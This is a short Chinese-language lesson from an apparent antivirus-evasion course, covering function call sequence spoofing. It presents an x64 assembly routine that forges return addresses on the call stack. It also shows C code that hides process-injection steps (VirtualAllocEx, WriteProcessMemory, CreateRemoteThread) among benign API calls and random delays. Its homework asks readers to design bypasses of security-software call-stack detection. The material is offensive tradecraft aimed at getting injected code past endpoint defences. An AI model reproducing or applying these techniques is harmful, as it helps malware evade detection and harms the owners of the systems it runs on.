免杀专题
32、函数序列欺骗
1. 课程目标
深入学习函数调用序列欺骗技术,包括调用栈伪造和行为欺骗。
2. 调用栈伪造
2.1 x64调用栈结构
高地址
┌─────────────────────────┐
│ 返回地址 (Return Addr) │ ← RSP
├─────────────────────────┤
│ 参数5 (如果有) │
├─────────────────────────┤
│ 参数6 (如果有) │
├─────────────────────────┤
│ ... │
└─────────────────────────┘
低地址
2.2 伪造实现
; spoofcall.asm
.code
; 伪造调用 - 修改返回地址
SpoofCall proc
; 保存原始返回地址
pop rax
; 压入伪造的返回地址
push r8 ; r8 = 伪造的返回地址
; 压入真实返回地址(用于恢复)
push rax
; 调用目标函数
jmp rcx ; rcx = 目标函数地址
SpoofCall endp
end
3. 行为序列欺骗
3.1 正常行为模拟
// 在敏感操作前后执行正常操作
void BehaviorSpoofing() {
// 正常行为1
CreateFileW(L"C:\\Windows\\System32\\kernel32.dll",
GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, 0, NULL);
// 敏感操作(注入)
// ...
// 正常行为2
RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_READ, &hKey);
}
3.2 时间分散
// 分散敏感操作
void DistributedOperations() {
VirtualAllocEx(...); // 第1步
Sleep(1000 + rand() % 2000); // 随机延迟
WriteProcessMemory(...); // 第2步
Sleep(500 + rand() % 1000);
CreateRemoteThread(...); // 第3步
}
4. 课后作业
4.1、作业1:行为分散(必做)
- 将注入操作分散到多个时间点
- 在操作间插入正常行为
4.2、作业2:调用栈分析(进阶)
- 分析安全软件如何检测调用栈
- 设计绕过方案
5. 下一课预告
下一课我们将学习ShellCode页面反转技术。